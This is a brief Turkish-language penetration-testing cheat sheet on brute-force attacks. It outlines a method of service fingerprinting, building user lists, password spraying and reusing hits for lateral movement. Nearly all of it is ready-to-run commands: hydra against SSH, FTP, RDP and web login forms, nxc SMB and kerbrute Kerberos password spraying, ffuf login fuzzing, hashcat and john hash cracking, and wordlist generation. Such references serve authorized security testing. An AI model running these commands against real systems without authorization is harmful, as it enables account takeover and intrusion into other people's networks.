Brute Force - CheatSheet

generic brute

Brute force = doğru protokol + doğru kullanıcı listesi + kilitleme-aware hız. Önce enum; sonra spray veya hedefli wordlist.

Metodoloji

1. Servisi ve auth metodunu fingerprint et.

2. Kullanıcı listesini üret (enum, OSINT, default).

3. Düşük paralel spray veya protokole özel brute çalıştır.

4. Hit’leri ayır; password reuse ile yanal genişle.

Network logins

hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4

hydra -L users.txt -P rockyou.txt ftp://TARGET

hydra -L users.txt -P rockyou.txt rdp://TARGET

nxc smb TARGET -u users.txt -p 'Welcome1' --continue-on-success

nxc smb TARGET -u users.txt -p pass.txt --continue-on-success

kerbrute passwordspray -d CORP.LOCAL users.txt 'SeasonYear!'

HTTP

hydra -L users.txt -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid'

ffuf -u https://TARGET/login -X POST -d 'user=FUZZ&pass=Password1' -w users.txt -fc 401

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403

Hash / offline

hashcat -m 0 hashes.txt rockyou.txt

hashcat -m 1000 ntlm.txt rockyou.txt -O

john --wordlist=rockyou.txt hashes.txt

Wordlist

cewl https://TARGET -m 6 -w cewl.txt

username-anarchy < names.txt > users.txt

hashcat --force --stdout wordlist -r /usr/share/hashcat/rules/best64.rule | head

Checklist

[ ] protokol/fingerprint alındı
[ ] kullanıcı listesi hazır
[ ] spray/brute hit üretti
[ ] reuse / lateral not edildi